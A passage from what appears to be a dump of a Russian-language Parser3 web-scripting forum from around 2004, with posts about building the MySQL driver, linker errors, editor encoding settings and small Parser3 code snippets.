# gcc-  -v\
Using built-in specs.\
Configured with: FreeBSD/i386 system compiler\
Thread model: posix\
gcc version 3.3.3 [FreeBSD] 20031106\
\
Как cvsup'нуть parser3mysql?"
"26151","А как можно не записывать на диск? (Может это глупый вопрос :)"
"26152","Как это правильный CSS? Определенные классы стилей?"
"26154","cvs co sql/mysql\
находиться при этом в каталоге parser3project"
"26159","может это поможет.\
\
выложена статически скомпиленная версия parser 3.1.1 с поддержкой XML для Linux"
"26161","...тэгам tr, th и td стили, чтобы табличка выглядела поприличнее - в Excel она будет выглядеть красиво, не то что CSV - я это имел в виду."
"26162","...не могу откомпилировать:\
\
#make\
make  all-recursive\
Making all in libltdl\
make  all-am\
if ./libtool --mode=compile g++ -DHAVE_CONFIG_H  -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include/mysql     -g -O2 -MT parser3mysql.lo -MD -MP -MF \".deps/parser3mysql.Tpo\"  -c -o parser3mysql.lo `test -f 'parser3mysql.C' || echo './'`parser3mysql.C;  then mv \".deps/parser3mysql.Tpo\" \".deps/parser3mysql.Plo\";  else rm -f \".deps/parser3mysql.Tpo\"; exit 1;  fi\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include/mysql -g -O2 -MT parser3mysql.lo -MD -MP -MF .deps/parser3mysql.Tpo -c parser3mysql.C  -fPIC -DPIC\
parser3mysql.C: In function `SQL_Driver* create()':\
parser3mysql.C:367: error: cannot allocate an object of type `MySQL_Driver'\
parser3mysql.C:367: error:   because the following virtual functions are\
   abstract:\
../../parser3/src/sql/pa_sql_driver.h:131: error: 	virtual void\
   SQL_Driver::commit(SQL_Driver_services&, void*)\
../../parser3/src/sql/pa_sql_driver.h:133: error: 	virtual void\
   SQL_Driver::rollback(SQL_Driver_services&, void*)\
../../parser3/src/sql/pa_sql_driver.h:136: error: 	virtual bool\
   SQL_Driver::ping(SQL_Driver_services&, void*)\
../../parser3/src/sql/pa_sql_driver.h:140: error: 	virtual const char*\
   SQL_Driver::quote(SQL_Driver_services&, void*, const char*, unsigned int)\
../../parser3/src/sql/pa_sql_driver.h:144: error: 	virtual void\
   SQL_Driver::query(SQL_Driver_services&, void*, const char*, long unsigned\
   int, long unsigned int, SQL_Driver_query_event_handlers&)\
*** Error code 1\
...\
\
Ошибка для функции \
extern \"C\" SQL_Driver *SQL_DRIVER_CREATE() {\
	return new MySQL_Driver();\
}\
\
Посоветуйте..."
"26163","Misha, Вы меня просто спасли. Спасибо огромное!\
\
Всё заработало (кроме libparser3myslq.so)\
Сначала Парсер ругался на версию, стояла старая. Я её заменил. Теперь выдаёт вот эту ошибку:\
[quote]\
driver failed to initialize client library '/mysite.com/webseiten/cgi-bin/lib/libmysqlclient.so', can not open the dynamic link module \
/mysite.com/webseiten/cgi-bin/lib/libparser3mysql.so \
[/quote]\
\
Может дело в разных версиях RedHat? (parser3.cgi --> 6.2, a libparser3mysql.so --> 7.3)\
По крайней мере сами файлы Parser находит и в test.html выдаёт их размеры:\
libparser3mysql.so (66444 байт)     libmysqlclient.so (251027 байт)\
\
parser3.log пуст.\
\
Ешё раз спасибо за помощь,\
\
Molotoff"
"26164","Если опубликуете или пришлёте sql-файл со структурой таблиц баз данных, попробую помочь. Самому всё это дело воспроизводить мне что-то лениво."
"26165","я ничего не могу посоветовать про драйвер, в *nix я полный чайник.\
\
может ПАФ чего посоветует завтра. я его спрошивал про статическую сборку драйвера, но в ответе ничего не понял, хотя все слова были по русски :)"
"26166","1. вопроса не понял, а читать \"Войну и Мир\" написанную кем-то на парсере без форматирования желания нет никакого\
\
2. прочитайте пожалуйста FAQ о том, как [url=\"/faq/forum/\"]задавать вопрос[/url] чтобы получить на него ответ. возможно после того, как вы его корректно сформулируете и приведете необходимые куски кода кто-то и поможет. конечно это нужно будет лишь в том случае, если вы сами не решите вашу задачу после того как все сформулируете."
"26167","Изначально хотел, что бы метод отдавал пути ко всем найденным файлам.  \
\
\
На самом деле я просто выбрал для себя неправильный путь решения данной задачи. \
\
Сейчас все сделал. Тема закрыта."
"26168","Простой, но, надеюсь полезный метод: [b]Склонение имен существительных после числительных[/b]: [url=\"http://www.parser.ru/examples/decline/\"]пример[/url].\
\
Метод, позволяет склонять существительные, стоящие после числительных, и позволяет избегать в результатах работы ваших скриптов сообщений вида: «найдено 2 записей».\
\
Принцип работы крайне прост: в качестве результата выдается словоформа, которая определяется двумя последними цифрами (или одной, если число однозначное).\
[code]\
@num_decline[num;nominative;genitive_singular;genitive_plural]\
^if($num > 10 && (($num % 100) \\ 10) == 1){\
        $result[$genitive_plural]\
}{\
        ^switch($num % 10){\
                ^case(1){$result[$nominative]}\
                ^case(2;3;4){$result[$genitive_singular]}\
                ^case(5;6;7;8;9;0){$result[$genitive_plural]}\
        }\
}\
[/code]\
[b]Использование[/b]:\
^num_decline[натуральное число или ноль;именительный падеж;родительный падеж, ед. число;родительный падеж, мн. число]\
\
[b]Примеры вызовов[/b]:\
^num_decline[112;запись;записи;записей] вернет: \"записей\", а ^num_decline[102; запись;записи;записей] возвратит строку: \"записи\".\
\
P.S. Большое спасибо Misha v.3 за дельные советы."
"26170","Короче есть таблица news.\
Нужно в переменную $count запихнуть кол-во записей в таблице.\
Всё да чего я додумался, используя только, прилагающуюся документацию - это создать обьект типа table и потом просто в обходе полей (menu) прибалять счётчик пока он не остановить.\
\
А есть нормальный метод?? Что-то вроде mysql_numrows() в PHP?\
\
Посоветуйте что-нибудь..."
"26172","я воспользовался поисковиком, \
я прочитал ДОКИ, \
я не могу понять где Ошибка! \
\
мне нужен именно ОТВЕТ А НЕ ПОСЫЛ В ПОИСК! (для примера приведите комбинацию слов поиск по которым приведет к НАХОЖДЕНИЮ ОТВЕТА или ЯВНОЙ ПОДСКАЗКИ!) \
\
off top\
тоже мне... ненавижу таких вот Сидельцев в форумах... вы почитайте свои 100 последних постов... и найдите там хоть 10 строчек ответов по сути... на вопрос Где вы можете ответить ТУТ а на ГДЕТОТАМ?"
"26174","Разве в вопросе говорилось, что речь идёт о таблице в БД?\
Правильно http://www.parser.ru/docs/lang/tablecount.htm"
"26175","а подсказка http://www.parser.ru/forum/?id=26115 работает (если у Вас определен @base[])"
"26176","Пишем файл [b]auto.p[/b] [i]в точности[/i] так:\
[code]\
@main[]\
<html>\
	<head>\
		<title>типа заголовок</title>\
	</head>\
	<body>\
		^body_main[]\
	</body>\
</html>\
[/code]\
\
В файл [b]index.html[/b] пишем [i]в точности[/i]:\
[code]\
@body_main[]\
	Body main from index.html\
[/code]\
\
По задумке должно работать. Если не работает, пишем мне на мыло описание ошибки.\
\
Вернемся к вашим баранам. Вы приводили содержимое файла [b]index.html[/b]:\
[code]\
<html><body>\
^base[] \
@body_main[]\
<SPAN class=\"main\">\
TEXT Из Индекса.\
</span></body></html>\
[/code]\
Ошибка:\
[quote]\
Unhandled Exception (Debug)\
j:/home/rusbbq2.ru/www/index.html(2:9): parse error, \
expecting `$' exception.type=parser.compile \
[/quote]\
Видно, что ошибка во [i]второй[/i] строке. Парсер не понимает, как нужно обрабатывать ваш файл. Вы начинаете его с html кода. Если в файле содержится только html код, то он и выдается пользователю. В этом случае все содержимое файла считается телом метода @main[]. Парсер не увидел вначале файла описание методов (навроде @имя_метода[]) и начал выдавать пользователю один в один то, что у вас написано. Дошел до второй строки и наткнулся на описание метода. И вот тут–то ему башню и снесло. Подумайте сами, что бы вы стали делать в этой ситуации? Парсер вам пишет, что здесь (по его мнению, мы находимся в теле метода main) нельзя описывать другие методы, но можно описывать переменные. Он предполагает, что вы собирались описать переменную и пишет, что вы перепутали и написали @ вместо $.\
\
Мне трудно указать место в документации, где это написано. Но из документации понять это можно!\
\
Надеюсь, я вам помог.\
\
p.s. я осознано не высказываю свое отношение к рекомендациям искать в форуме и читать доку и вам тоже не рекомендую."
"26177","в заголовке слово mySQL\
второй метод неправильный - а вдруг у Вас в таблице сто тыщ записей - такие вещи нужно делать только средствами базы даных"
"26178","Пошёл пить кофе и просыпаться..."
"26179","Тут посмотрел класс htpasswd вариант с хешем, написанный  egr, и на глаз смутило излишние сущности, при построение хеша из таблица, формируется хеш: каждый первичный хеш имеет два вторичных, хотя для этой задачи хватило бы просто хеша $.логин[пароль] ...\
\
Создал этим классом файл на 1500 паролей, переписал конструктор\
[code]\
@init[sFileName][lHtpass]\
$_sFileName[$sFileName]\
^try{\
	$lHtpass[^file::load[text;$sFileName]]\
	$lHtpass[^lHtpass.text.match[\\n][g]{^#0A}]\
	$lHtpass[^table::create{login	password^#0A^lHtpass.match[:][g]{	}}]\
}{\
	^if($exception.type eq file.missing\
		|| $exception.type eq parser.runtime\
	){\
		$exception.handled(1)\
		$lHtpass[^table::create{login	password}]\
	}\
}\
#$_hPasswd[^lHtpass.hash[login]]\
#мой вариант\
$_hPasswd[^hash::create[]]\
^lHtpass.menu{^_hPasswd.add[$.[$lHtpass.login][ $lHtpass.password]]}\
[/code]\
Так вот у меня получилось, что создаваемый хеш у меня больше на 1 Мб, чем у egr.\
Отсюда вопрос почему  ^table_object.hash[] создает менее ресурсоемкий хеш?\
Может после динамического добавления в хеш надо делать сборку мусора?\
\
P.S. А при выполнении процессов время можно сказать одинаковое (у egr меньше)"
"26180","...т.к. работает парсерный метод .hash писаный на сях, а не код который крутит 1500 итераций в menu\
\
то, что в вашем случае больше расход памяти тоже можно объяснить:\
\
вы используете конструкцию:\
^_hPasswd.add[$.[$lHtpass.login][ $lHtpass.password]]\
\
видите пробел перед $lHtpass.password? парсер вынужден не класть в хеш ссылку на уже существующую строку (в таблице), а создавать новую сущность \"строка\" со всеми вытекающими (кажется после пробела все равно будет ссылка на существующую строку, но память под новые объекты-строки уже выделена, и их 1500 тысячи)\
\
мое мнение: при наличии парсерных методов сделать что-либо лучше пользоваться ими, а не написаными своими, даже если они экономят пару байт."
"26181","Ваш вариант хоть и избавляет от \"лишней\" сущности, но уж больно уродски он выглядит. А вообще, там где есть большие таблицы, следует с большим подозрением относится к их menu. Не знаю, моежет это мое предвзятое мнение, время покажет прав я или нет."
"26182","Вот именно что он от ничего не избавляет, а добавляет «лишний» Мб, если отсутствие сущности не оправдывается практически, то ее нужно добавить, (вот и не знаешь работает бритва Оккама или нет:)"
"26183","Не про итерации понятно, там особая интонация в P.S., я и не собирался доказывать что «внутренний» метод медленнее, я хотел просто показать, что при «сравнимом» допустимом процессорном времени память в моем случае выделяется меньше, не тут то было\
По поводу пробела, на самом деле его там нет это просто опечатка…\
Так что ссылка просто на объект, т.е.  хеш это в конечном случае таблица, и просто добавляется правило (адресная арифметика) как  ходить, а в случае ^.add еще и куча указателей на вновь созданные объекты класса хеш, не еще чуть и полезем в исходники…:)\
Просто логика была другая, что метод ^.hash? также создает новые объекты класса hash для каждой строки, а он оказывается ставит только указатели на уже выделенный кусок…\
"
"26184","Мне различные телеканалы присылают текстовые файлы с программами передач и мне нужно привести их к одному, более-менее стандартному виду.\
Но проблема в том, что формат этих текстовых файлов абсолютно разный. Как их грамотно разобрать, может есть какой-то алгоритм?"
"26185","если результат ваших действий - ошибка = [b]ищите по тексту ошибки[/b], не ошибётесь..."
"26186","ваша sql/mysql новее.\
\
старую можно найти, достав из cvs на нужную дату.\
но правильно: взять всё новое."
"26187","где взяли этот файл?\
есть ощущение, что он неправильный."
"26188","Мне его Misha v.3 прислал.\
Сказал, что у него он работает.\
\
Больше никто на мою просьбу отвечать не хотел.\
\
Может проблема в том, что на хостинге MySQL версии 3.23.57, a libmyslclient.so не используется вообще?\
Или я его не туда кладу?\
\
С уважением,\
\
Molotoff"
"26190","все они были обсуждены, и на них даны ответы, в том числе вашим покорным слугой.\
\
давайте будем спокойнее, ошибок ещё сколько-то будет, терпение ещё понадобится."
"26191","1) удаляю в тексте все табуляторы\
2) разбираю текстовый файл на блоки, в конце которых встречаются 2 перевода строки (благо такие есть).\
3) загружаю каждый блок как таблицу и проверяю количество строк: если мало, пропускаю если много иду дальше.\
4) разбираю каждую строку на время и название передачи.\
\
Дату начала недели приходится ставить заранее и от нее расчитывать остальные, т.к. отловить ее в тексте не представляется возможным."
"26192","должен бы быть.\
попросите его, скажите «нужно для работы»."
"26193","достать вам libmysqlclient.so\
из этого пакета:\
http://ftp.fi.muni.cz/pub/linux/people/milan_kerslager/RedHat-6.2/RPMS/MySQL-shared-3.23.13a-1cz.i386.rpm"
"26195","Там три файла:\
libmysqlclient.so (23 Byte)\
libmysqlclient.so.8 (23 Byte)\
libmysqlclient.so.8.0.0 (104 KB)\
\
Все три выдают при вызове test.html:\
\
[quote]\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
driver failed to initialize client library '/kunden/mysite.com/webseiten/parser/lib/libmysqlclient.so', can not open the dynamic link module \
/kunden/mysite.com/webseiten/parser/lib/libparser3mysql.so \
[/quote]\
\
Название конечно меняется, в зависимости от используемого файла.\
\
C уважением,\
\
Molotoff"
"26196","и, на всякий случай, приведите $SQL из вашего @conf?"
"26197","Копировал методом Copy/Paste из браузера.\
\
Или я Вас неправильно понял?\
\
[code]\
@conf[filespec]\
$confdir[^file:dirname[/kunden/mysite.com/webseiten/parser/parser3.cgi]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
\
$SQL.connect-string[mysql://myuser:mypassword@localhost/mydatabase]\
[/code]\
\
А вот, что выдаёт вызов _test.html:\
\
[quote]\
$SQL:\
mysql /kunden/mysite.com/webseiten/parser/lib/libparser3mysql.so (66380 байт) /kunden/mysite.com/webseiten/parser/lib/libmysqlclient.so.8.0.0 (106905 байт) \
pgsql /kunden/mysite.com/webseiten/parser/lib/libparser3pgsql.so (не найден) libpq.so (относительный путь. проверка невозможна) \
oracle /kunden/mysite.com/webseiten/parser/lib/libparser3oracle.so (не найден) /u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data (не найден) \
\
DOCUMENT_ROOT: /kunden/mysite.com/webseiten\
CGI-REVISION: CGI/1.1\
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
$request:uri: /_test.html\
$request:query: \
$SQL.connect-string: определена\
$CLASS_PATH: не определен\
[/quote]\
\
С уважением,\
\
Molotoff"
"26198","но был не прав. сообщение правильное.\
просите вашего админа найти/сделать вам libmysqlclient.so, потому, что она вам нужна для работы.\
\
вот это является текстом ошибки:\
[code]\
driver failed to initialize client library '/kunden/mysite.com/webseiten/parser/lib/libmysqlclient.so', can not open the dynamic link module\
[/code]\
\
у вас там ниже приведено ещё немного. оно, вероятно, у вас в браузере отдельно."
"26201","я буду отвечать и на такие вопросы.\
\
пока же: [b]пожалуйста[/b], если у вас проблема, сначала [b]воспользуйтесь[/b] поиском по форуму."
"26202","Такая ситуация:\
есть новостная лента, в параметрах передается номер раздела, номер статьи т.д. (т.е. количество параметров все время разное)\
Есть еще календарь, который также передает номер года, месяца, дня. Так вот как сформировать ссылку на день в календаре, чтобы сохранились все старые параметры, с которыми была вызвана текущая страница, и при этом к ней бы добавились параметры даты.\
Т.е. как бы <a href=${request:uri}&date>\
Но если сделать так, то при переходе на другую дату новая не заменит старую, а добавится к ней, и получается что-то вроде ?id=1&topic=1$date=2004-1-1$date=2004-1-2\
Т.е. сначала нужно как то выдрать старую дату из параметров и прибавить к получившейся строке новую дату.\
Вообщем я запутлся полностью и уже нифига не понимаю :)\
Все, нужен хоть какой-то эдвайс :)"
"26203","я понял что моя ошибка в Составлении Html файлов. не нужно писать служебные теги, а начинать его просто @....[]\
\
может я такой тупенький но чесно говоря не припомню в Документации, описания как состовлять файлы :) (что должно быть в нутри html и нужны ли там теги )"
"26204","ваши ответы мне не помогают. спасибо."
"26205","зачем вам что-то выдирать из $request:uri если все уже выдранно:)\
[code]\
$form:date\
$form:id\
[/code]\
\
Ну уважаемый, но почитайте вы доку, а потом тыкайтесь, а не на оборот...\
http://www.parser.ru/docs/lang/?formclass.htm"
"26206","Все дело в том, что я заранее не знаю какие именно параметры придут в form и сколько их там будет.\
Если бы всегда только id, article... а то ведь там их разные комбинации и количество может быть...\
Поэтому и есть желание просто к ним присовокупить параметры даты."
"26207","А никто не компилил парсер под BSDI/OS? Может у кого есть?\
Буду признателен."
"26209","у меня вот есть подозрение что вы просто дурью маетесь...\
К тому-же совершенно непонятно ваше принципиальное нежелание использовать поиск по форуму по его прямому назначению.\
\
http://www.parser.ru/forum/?id=7100 - краткое и исчерпывающее описание Александром вашей проблемы. Найти его было несложно, как пользоваться поиском я уже вам писАл."
"26210","и со временем ни вы, ни тот, кто будет копаться в вашем коде не сможет ответить на простой вопрос: \
«откуда взялся этот ?параметр=xxx»"
"26211","с проблемами, но небольшими.\
если у вас есть необходимость, энтузиазм, и минимальные знания, всегда рад помочь.\
пойдёмте в почту."
"26212","пишите простой запрос. нажимаете найти. видите кучу результатов. делаете copy/paste имени PAF-а, меня или Luzhnikovskiy в поле \"фильтровать по автору\". повторяете запрос. после этого обычно несложно даже пересмотреть все найденные сообщения.\
\
P.S. естественно надо знать что ищете. если будете искать \"Помогите\" - то ничего не найдете.\
P.P.S. звиняйте, если кого забыл :)"
"26213","а если этот код можно написать на основании того, что есть в доке: тогда плиз вырезки всех кусочков доки касающихся поднятого вопроса в сообщение и подробное описание того, что с этим делать. \
\
и чтобы ни в коем случае там не было ошибок. и никак иначе."
"26214","Энтузиазм есть, потребность есть, а вот возможности - нету. К тому же еще и минимальные (только очень минимальные) знания есть. Хочу взяться, заодно и изучить. Так вернее получится. Если просто изучать, капаться, разбираться, то кончается тот самый энтузиазм, а если надо - это уже другой вопрос :)\
\
Дело в том, что мой хостер отказался собирать... Видимо ему просто лень... А сам я не имею возможности, к сожалению. Если вы можете мне помочь, то буду очень признателен.\
\
P.S. Кстати, неужели не у кого не возникало необходимости? Может быть добавить BSDI в раздел \"скачать\"? ;)"
"26215","У меня в UltraEdit вместо\
русских слов отображается\
не то что надо..,\
Скачал файл \"ue_koi8.zip\";\
подскажите пожалуйста – как\
пристроить находящиеся\
в нем файлы: [b]koi-win.xlat,win-koi.xlat,[/b]\
[b]uedit_add.ini[/b] к UltraEdit\
для отображение русских слов???\
\
Пробовал скопировать их в папку\
где установлен данный редактор,\
но безрезультатно."
"26216","в чем Была проблемма у меня, я понял Что за ошибка обсуждается ТАМ. до этого я *7100* читал и НЕ ПОНЯЛ, именно по этому и написал в форум."
"26218","здесь можно как нить Ветку закрыть?"
"26219","Каким образом работает метод length[] для класса string? Он выдает число байтов занимаемых строкой, а не собственно число символов? \
То есть, когда выбрана однобайтовая кодировка - всё отлично, но когда 2-байтовая - не работает? Так? Или я где-то не дочитал?"
"26220","ввиду того, что очень сложно открыть файл справки Ultraedit-а и узнать где он хранит настройки, добавил в архив с таблицами перекодировки инструкцию по установке (для танкистов: читать readme.txt).\
\
P.S. надеюсь переводить текст 7 шагов инструкции не понадобится, хотя я уже ни в чем не уверен…"
"26221","...но я полностью cvsup'нул еще раз исходники Парсера и драйвера. Не транслируются по той же причине, что и ранее. Скачал еще раз исходники tar.gz. Они собрались успешно: Парсер работает до момента обращения к libparser3mysql.so - возникает ошибка двойного can't open the module. Сравнил скачанную версию parser3mysql.C и из tar.gz, просмотрел объявления в pa_sql_driver.h и проанализировал сообщение об ошибке - в результате добавил объявления методов класса, существовавших в старом драйвере, но отсутствующих в новом (приведены ниже), после чего все собралось, но двойной can't open the module остался...\
\
class MySQL_Driver : public SQL_Driver {\
public:\
\
	MySQL_Driver() : SQL_Driver() {\
	}\
// -<\
//  Мои добавки\
// >-\
	void       commit(SQL_Driver_services& services, void *connection) {;};\
	void     rollback(SQL_Driver_services& services, void *connection) {;};\
	bool         ping(SQL_Driver_services& services, void *connection) {;};\
	const char* quote(SQL_Driver_services& services, void *connection,\
	    const char* str, unsigned int length)                          {;};\
	void        query(SQL_Driver_services& services, void *connection,\
	    const char* statement, unsigned long offset, unsigned long limit,\
	    SQL_Driver_query_event_handlers& handlers)                     {;};\
/***/\
\
Может, будут советы, как лучше и где отладчиком пройтись и на что обратить внимание? Спасибо."
"26222","См. Сабж."
"26224","Что я сделал:\
Скопировал *.xlat файлы в директорию программы,\
скопировал содержание файла uedit_add.ini в\
конец файла uedit32.ini вместе с путями к\
*.xlat файлам, т.е. это:\
 [Conversions]\
User Conversion=1\
Convert to file=\"D:\\program files\\ultraedit\\win-koi.xlat\"\
Convert from file=\"D:\\program files\\ultraedit\\koi-win.xlat\"\
Convert to name=\"Convert to &Koi8r\"\
Convert from name=\"Convert to &Win1251\"\
\
Редактор был выключен.\
Затем вкл.\
И при использовании команд:\
File | Conversion | User Convert to...\
File | Conversion | User Convert from...\
\
Иероглифы лишь становятся заглавными и наоборот....\
т.е. русским духом и не пахнет...."
"26225","View > Set font... > Script: \"Western\" to \"Cyrillic\"\
Не в этом ли проблема?"
"26226","Большое спасибо."
"26227","Итак.\
\
У меня значит есть textarea. Назовём её message.\
Потом пользователь отправляет сообщение через эту штуку.\
Мы перехватываем через $form:message\
Но допустим пользователь ввёл\
\
Привет\
Как дела??\
\
На машинном языке:\
Привет<переход строки><возврат каретки>\
Как дела?\
\
Так вот, он у меня в базу пишет всё литым текстом, т.е. как в $form:message было написано. (поле в базе типа text).\
\
А выводит он корява (нет, это я коряво скрипт написал), короче выводит строчку в HTML:\
Привет Как дела?\
\
Если посмотреть через \"Просмотр HTML\", то там будет всё ОК, на разных строчках.\
\
Итак вопрос.\
Как заменить все символы перехода строчки на <br>??\
\
Пробывал $string.replace() и $string.match[][]{}\
\
Но так ничего и не получилось..."
"26228","Да какая разница, просто URL Будет что-то вроде:\
\
?id=&article=&date=2001-03-03\
\
И всё, просто потом будут переданы пустые параметры... типа их и нет. Во всяком случаи раньше у меня работало.... когда я поиском занимался. там просто приходилось каждый раз сохранять параметры, что бы потом опять их же передать... сортировка и т.д."
"26231","так как система коммерческая и к тому же мало популярная. Настолько, что даже прекращают её поддержку, так как большинство компаний мигрировало на FreeBSD..."
"26232","ему вовсе «не лень», как вы выразились.\
у вас с ним, так понимаю, договорные отношения, и в договоре подобное либо есть либо нет. обычно нет.\
\
если вам нужно что-то собирать, для начала вам нужен такой вариант договора, который предоставляет клиенту telnet/ssh доступ к машине, где работает веб-сервер с сайтом клиента.\
\
тогда сможете собрать.\
\
добавить буквы в /download/ проблем нет. кто байты предоставит?"
"26233","поддержка со временем будет добавлена.\
как заметили, был добавлен upper/lower для utf-8.\
todo точно length и regexp.\
\
подобные вещи сделать просто, и разбираться во всех исходника parser для этого не нужно.\
соответственно, принимается помощь в виде изменённых исходных файлов."
"26234","которыми вы достаёте всё из CVS|HEAD.\
\
уверен, нет нужды говорить, что мне лучше знать, какая версия чего является последней.\
\
вы где-то взяли новый каталог sql/mysql, и старый каталог parser3/."
"26235","подавляющее большинство клиентов успешно живёт с cgi+^cache.\
немножко с mod_parser3.\
\
это у вас самоцель? или действительно ни то ни другое не подходит?\
\
напоследок секрет: parser специально так написан, чтобы его можно было тривиально встроить в любое серверное api. сделать fast_cgi тривиально и займёт один вечер. \
\
при этом совсем не нужно разбираться во всех исходниках parser.\
\
когда найдёте человека, шепните ему мой email, помогу."
"26236","хочется поставить ссылку на этот полезный ресурс.\
кажется, это последнее, что мешает это сделать.\
\
безусловно, всегда есть\
wishes:\
* чтобы можно было увидеть log.\
* и cvs annotate тоже :)\
* и дальше по большому списку возможностей cvsview.\
\
вопрос: бывает ли cvsup вверх? от текущей площадки на удалённую по инициативе текущей площадки?"
"26237","Нда, сюда хоть не пиши вообще, выставят полным придурком :)\
Нет, ради бога, не поймите не правильно, ни на кого не в обиде ни  в коем случае. Просто удивляюсь: как вам не лень было делать 6 постингов, о том, какой я задал глупый вопрос, вместо того чтобы сразу дать линк про \
http://www.parser.ru/docs/lang/?formfields.htm\
И не надо никакого кода. Чесслово, когда весь день кодишь без перекуров, еще не такие глупые вопросы в голове появляются, а вы вот так сразу.\
Ладно, фигня :) Все равно всем пасиба :)"
"26238","Здравствуйте.\
\
При попытке доступа к странице, где выбираются значения из MySQL, выводится следующая ошибка:\
[Wed Feb 11 11:46:22 2004] /mortgage/: /var/wwwhost/local/zhik/auto.p(564:2): '/usr/lib/libparser3mysql.so' /usr/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0 [<no type>]\
\
[root@svr httpd]# rpm -qa|grep MySQL       \
libMySQL-devel-static-4.0.16-alt2\
libMySQL-devel-4.0.16-alt2\
MySQL-client-4.0.16-alt2\
MySQL-server-4.0.16-alt2\
libMySQL-4.0.16-alt2"
"26239","Добавление: Собирался с ключами:\
./configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info/ --sysconfdir=/etc --localstatedir=/var --disable-safe-mode --with-charsets=windows-1251,koi8-r --with-mysql-client --with-shared-xml=/usr/"
"26240","нам лень писать 6666666666 раз.\
\
на досуге посчитайте, который вы были по счёту?\
\
документация написана 1 раз. потрачено на её написание больше года.\
может не нужно было её писать?"
"26241","одним и тем же компилятором?\
\
тогда не могу помочь по существу.\
\
если не найдёте ответа в inet'е (я в таких случаях иду на google, поиск по группам, незаменимая вещь), попробуйте обмануть:\
\
в parser3.C написать\
[code]\
extern \"C\" int _gxx_personality_v0;\
int _gxx_personality_v0=0;\
[/code]"
"26242","Закачиваю исходники так:\
#cd /usr/src_install\
#cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_1_1 parser3\
#cd parser3\
#cvs co sql/mysql\
   Собираю parser3\
#./configure --with-charsets=windows-1251,koi8-r --with-shared-gc=/usr/local/lib\
#make\
#make install\
   Собираю MySQL драйвер:\
#cp -R sql ../\
#cd ../sql/mysql\
#./configure\
#make\
#make install\
   Копирую к себе на сайт\
#diff .libs/libparser3mysql.so /usr/local/lib/libparser3mysql.so && cp /usr/local/lib/libparser3mysql.so /www/usms/htdocs/parser3/lib\
#ls /www/usms/htdocs/parser3/lib/libparser3mysql.so\
libparser3mysql.so\
# cd ../../parser3/src/targets/cgi\
#diff parser3 /usr/local/bin/parser3 && cp parser3 /www/usms/htdocs/parser3/parser3.cgi\
#ls /www/usms/htdocs/parser3/parser3.cgi\
parser3.cgi\
#chown -R nobody /www/usms/htdocs\
\
   После этого я проверял функционирование уроков 1-3 и спотыкался на Уроке 4.\
   Посмотрите, пожалуйста, и скажите, где я ошибаюсь.\
Спасибо,\
Дмитрий."
"26243","если в CVS, то, вероятно, забыли -r release_3_1_1"
"26244","Да. Компилятор - gcc 3.2\
[root@svr zhik]# gcc -v\
Reading specs from /usr/lib/gcc-lib/i586-alt-linux/3.2.3/specs\
Configured with: ../configure --prefix=/usr --libdir=/usr/lib --with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --enable-long-long --enable-__cxa_atexit --enable-languages=c,c++,f77,objc,java --program-suffix=-3.2 --enable-objc-gc --with-system-zlib --without-included-gettext --host=i586-alt-linux --build=i586-alt-linux --target=i586-alt-linux\
Thread model: posix\
gcc version 3.2.3 (ALT Linux, build 3.2.3-alt3)\
\
Вот что еще обнаружилось, после редактирования parser3.C (до этого забыл проверить)\
\
[root@svr zhik]# ld /usr/lib/libparser3mysql.so \
ld: warning: cannot find entry symbol _start; not setting start address\
/usr/lib/libparser3mysql.so: undefined reference to `vtable for __cxxabiv1::__si_class_type_info'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlerror'\
/usr/lib/libparser3mysql.so: undefined reference to `__gxx_personality_v0'\
/usr/lib/libparser3mysql.so: undefined reference to `vtable for __cxxabiv1::__class_type_info'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlopen'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlsym'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlinit'"
"26245","означает, что libparser3myql.so не скомпоновалась с ltdl/../libltdl.a \
при её компоновке были какие-то ошибки/проблемы?\
\
_start, понятно, быть не должно."
"26246","fun: этот gcc новее, чем используем мы для сборки.\
возможно, какие-то новые вещи появились."
"26247","не уверен на счет сборки Парсера, но для некоторых других вещей, при сборке на gcc3, помогает избавится от подобной ошибки"
"26248","Теперь новая бяка:\
[root@svr mysql]# ld /usr/lib/libparser3mysql.so \
ld: warning: cannot find entry symbol _start; not setting start address\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlerror'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlopen'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlsym'\
/usr/lib/libparser3mysql.so: undefined reference to `lt_dlinit'\
\
Скажите, какой версией gcc Вы собирали? И с каким libMySQL ?"
"26249","собирал однажды под RedHat 7 gcc сейчас не вспомню,\
проблем не возникло\
\
а может проблема в том, что mysql у Вас собран с gcc3 а парсер с gcc2 пытаетесь?"
"26251","ttt.html - вызов now() из MySQL.\
\
[root@svr mysql]# strace parser3 -f /var/www/cgi-bin/auto.p /var/wwwhost/local/zhik/ttt.html \
execve(\"/usr/bin/parser3\", [\"parser3\", \"-f\", \"/var/www/cgi-bin/auto.p\", \"/var/wwwhost/local/zhik/ttt.html\"], [/* 35 vars */]) = 0\
